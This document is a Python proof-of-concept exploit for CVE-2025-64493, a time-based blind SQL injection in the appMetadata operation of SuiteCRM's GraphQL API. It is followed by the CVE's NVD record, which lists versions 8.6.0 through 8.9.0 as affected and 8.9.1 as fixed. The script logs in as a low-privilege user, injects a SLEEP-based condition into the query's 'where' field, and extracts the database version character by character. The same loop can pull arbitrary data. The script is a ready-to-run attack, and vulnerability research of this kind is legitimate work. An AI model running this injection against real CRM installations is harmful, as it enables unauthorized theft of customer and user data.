CVE-2025-64493

#!/usr/bin/env python3 """ CVE-2025-64493 PoC - SuiteCRM GraphQL API Time-Based Blind SQL Injection Note: This is a simplified demonstration for security research purposes. Modify and use responsibly with proper authorization. """ import requests import json import time TARGET_URL = "http://target-suitecrm.com/api/graphql" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_token(): """Obtain authentication token via login mutation""" login_mutation = { "query": """ mutation Login($username: String!, $password: String!) { login(username: $username, password: $password) { id sessionToken } } """, "variables": { "username": USERNAME, "password": PASSWORD } } response = requests.post(TARGET_URL, json=login_mutation) data = response.json() return data['data']['login']['sessionToken'] def extract_data(token, sql_payload): """ Execute blind SQL injection via appMetadata operation sql_payload: Time-based injection payload """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } injection_query = { "query": f""" query {{ appMetadata( input: {{ module: "Users" where: "id = '1' AND (SELECT CASE WHEN {sql_payload} THEN SLEEP(5) ELSE 0 END)" }} ) {{ id userName }} }} """ } start_time = time.time() response = requests.post(TARGET_URL, json=injection_query, headers=headers) elapsed = time.time() - start_time return elapsed > 4 # If delay occurred, condition was true def extract_char(token, query, position, char): """Extract a single character using time-based injection""" sql_payload = f"(SELECT SUBSTRING(({query}), {position}, 1) = '{char}')" return extract_data(token, sql_payload) def main(): print("[*] Obtaining authentication token...") token = get_auth_token() print("[+] Token obtained successfully") # Example: Extract database version print("[*] Extracting database version...") db_version = "" charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._-" for pos in range(1, 50): found = False for char in charset: if extract_char(token, "@@version", pos, char): db_version += char found = True break if not found: break print(f"[*] Current version: {db_version}") print(f"[+] Extracted database version: {db_version}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64493", "sourceIdentifier": "[email protected]", "published": "2025-11-08T02:15:34.880", "lastModified": "2025-11-25T17:33:58.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. In versions 8.6.0 through 8.9.0, there is an authenticated, blind (time-based) SQL-injection inside the appMetadata-operation of the GraphQL-API. This allows extraction of arbitrary data from the database, and does not require administrative access. This issue is fixed in version 8.9.1."}, {"lang": "es", "value": "SuiteCRM es una aplicación de software de gestión de relaciones con clientes (CRM) de código abierto y lista para empresas. En las versiones 8.6.0 a 8.9.0, existe una inyección SQL ciega (basada en tiempo) y autenticada dentro de la operación appMetadata de la GraphQL-API. Esto permite la extracción de datos arbitrarios de la base de datos, y no requiere acceso administrativo. Este problema está solucionado en la versión 8.9.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesagility:suitecrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.6.0", "versionEndExcluding": "8.9.1", "matchCriteriaId": "FF0059FB-F49A-407B-ADD3-3EC1EC50FD49"}]}]}], "references": [{"url": "https://docs.suitecrm.com/community/security-policy", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SuiteCRM/SuiteCRM-Core/security/advisories/GHSA-5gcj-mfqq-v8f7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}